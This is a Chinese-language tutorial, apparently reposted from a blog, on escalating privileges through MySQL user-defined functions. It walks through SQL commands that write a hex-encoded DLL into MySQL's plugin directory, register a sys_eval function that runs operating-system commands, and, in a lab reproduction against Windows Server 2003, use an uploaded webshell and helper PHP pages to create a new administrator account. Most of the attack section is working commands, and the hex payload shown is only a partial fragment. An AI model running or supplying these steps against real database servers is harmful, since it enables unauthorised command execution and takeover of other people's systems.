首页 / MYSQL / MySQL UDF提权执行系统命令
MySQL UDF提权执行系统命令
内容导读
互联网集市收集整理的这篇技术教程文章主要介绍了MySQL UDF提权执行系统命令,小编现在分享给大家,供广大互联网技能从业者学习和参考。文章包含5044字,纯文字阅读大概需要8分钟。
内容图文
![MySQL UDF提权执行系统命令](/upload/InfoBanner/zyjiaocheng/526/4e93537f0f574f208fae191b354b4adf.jpg)
UDF介绍
UDF (user defined function),即用户自定义函数。是通过添加新函数,对MySQL的功能进行扩充,其实就像使用本地MySQL函数如 user() 或 concat() 等。
假设我的UDF文件名为 udf.dll,存放在MySQL安装目录的 lib/plugin 目录下。在 udf.dll 文件中,我定义了名为 sys_eval 的mysql函数,该函数可以执行系统任意命令。但是如果我现在就打开MySQL命令行,使用 select sys_eval(‘dir‘);的话,系统会返回sys_eval() 函数未定义。因为我们仅仅是把 udf.dll 放到了 lib/plugin 目录下,并没有引入。类似于面向对象编程时引入包一样,如果没有引入包,那么这个包里的类你是用不了的。
实例用法:
create function sys_eval returns string soname ‘udf.dll‘;
只有两个变量:
- 一个是 function_name(函数名),我们想引入的函数是 sys_eval。
- 还有一个变量是 shared_library_name(共享包名称),即 udf.dll 。
select * from mysql.func where name = ‘sys_eval‘; #查看创建的sys_eval函数
select sys_eval(‘whoami‘); #使用系统命令
- 当 MySQL< 5.2 版本时,将 .dll 文件导入到 c:\windows 或者c:\windows\system32 目录下。
- 当 MySQL> 5.2 版本时,将 .dl l文件导入到?C:\Program Files\MySQL\MySQL Server?5.4\lib\plugin 目录下。
- 掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,具备`root账号所具备的权限的其它账号也可以。
- 可以将udf.dll写入到相应目录的权限。
- udf提权也是一般应用于win2000、win2003系统
UDF提权步骤
1)查看 secure_file_priv 的值
show global variables like ‘secure%‘;
当 secure_file_priv 的值为 null ,表示限制 mysqld 不允许导入|导出,此时无法提权
当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下,此时也无法提权
当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权
secure_file_priv 的值在MySQL数据库的安装目录的 my.ini 文件中配置。
2)查看plugin的值
select Host,user,plugin from mysql.user where user = substring_index(user(),‘@‘,1);
当 plugin 的值为空时不可提权
当 plugin 值为 mysql_native_password时可通过账户连接提权
3)查看系统架构以及plugin目录
show variables like ‘%compile%‘; #查看主机版本及架构
show variables like ‘plugin%‘; #查看 plugin 目录
这里是x64位的系统,我们可以去kali中/usr/share/metasploit-framework/data/exploits/mysql/目录下载64位的 .dll 文件。(由于这里可能MSF更改过,所以路径有所不同)
4)将dll文件写入plugin目录,并且创建函数
创建一个表并将二进制数据插入到十六进制编码流中。你可以通过insert语句或将其分解为多个部分,然后通过update语句拼接二进制数据。
create table temp(data longblob);
insert into temp(data) values (0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000000000000000000);
update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b377a382b35ba383b369f10ab376a383b369f116b375a383b369f111b376a383b369f112b376a383b35269636877a383b300000000000000000000000000000000504500006486060070b1834b00000000);
select data from temp into dump file "C:\\phpstudy_pro\\Extensions\\MySQL8.0.12\\lib\\plugin\\udf.dll";
create function sys_eval returns string soname ‘udf.dll‘; #创建函数sys_eval
5)使用系统命令
在将 udf.dll 文件写入plugin目录后,我们就可以使用 sys_eval 函数了。
select * from mysql.func where name = ‘sys_eval‘; #查看创建的sys_eval函数
select sys_eval(‘whoami‘); #使用系统命令
drop function cmdshell; #删除函数
delete from mysql.func where name=‘cmdshell‘ #删除函数
UDF提权复现(php环境)
靶机环境:Windows Server 2003 、php 5.4.3 、 Apache2.4.23
这里我们已经通过上传一句话木马拿到网站的shell了,并且得到了网站数据库的用户名和密码都是root。但是因为获得的系统用户权限太低,无法创建新用户。而且也不能使用其他提权等手段。所以,我们现在要做的就是使用UDF进行提权。
我们把 phpspy.php 和 udf.php 两个文件上传到网站服务器
然后先访问 phpspy.php 页面,MySQL Manager——>输入数据库的密码——>选择一个数据库
由于MySQL>5.2版本后,在其安装目录的lib目录下没有 plugin 目录,所以,我们得新建这个目录,并且将我们的 udf.dll 文件放入 plugin目录下,我们执行下面命令,完成创建plugin目录,并且将udf.dll放入该目录下
select ‘xxxxxx‘ into dumpfile ‘C:\\Program\ Files\\MySQL\\MySQL\ Server\ 5.4\\lib\\plugin::$INDEX_ALLOCATION‘
然后我们访问 udf.php 页面,并且用数据库的账户名和密码登录。
然后我们点击 Dump UDF ,提示Dump DLL Success !
然后我们点击 Create Function,下面就会有 select shell(‘cmd‘,‘whoami‘) ,然后我们点击 Mysql_query ,下面就会有whoami命令的执行结果
我们可以把命令换成 net user hack 123 /add ,新建一个用户,可以看到成功了!然后我们接下来吧hack用户添加到administrators管理员组内,就可以远程登录了!
参考链接
https://blog.csdn.net/qq_36119192/article/details/84863268
MySQL UDF提权执行系统命令
标签:bst define details pass xxx user 网站服务器 php环境 命令
本文系统来源:https://www.cnblogs.com/sentient-being/p/13216899.html
内容总结
以上是互联网集市为您收集整理的MySQL UDF提权执行系统命令全部内容,希望文章能够帮你解决MySQL UDF提权执行系统命令所遇到的程序开发问题。 如果觉得互联网集市技术教程内容还不错,欢迎将互联网集市网站推荐给程序员好友。
内容备注
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 gblab@vip.qq.com 举报,一经查实,本站将立刻删除。
内容手机端
扫描二维码推送至手机访问。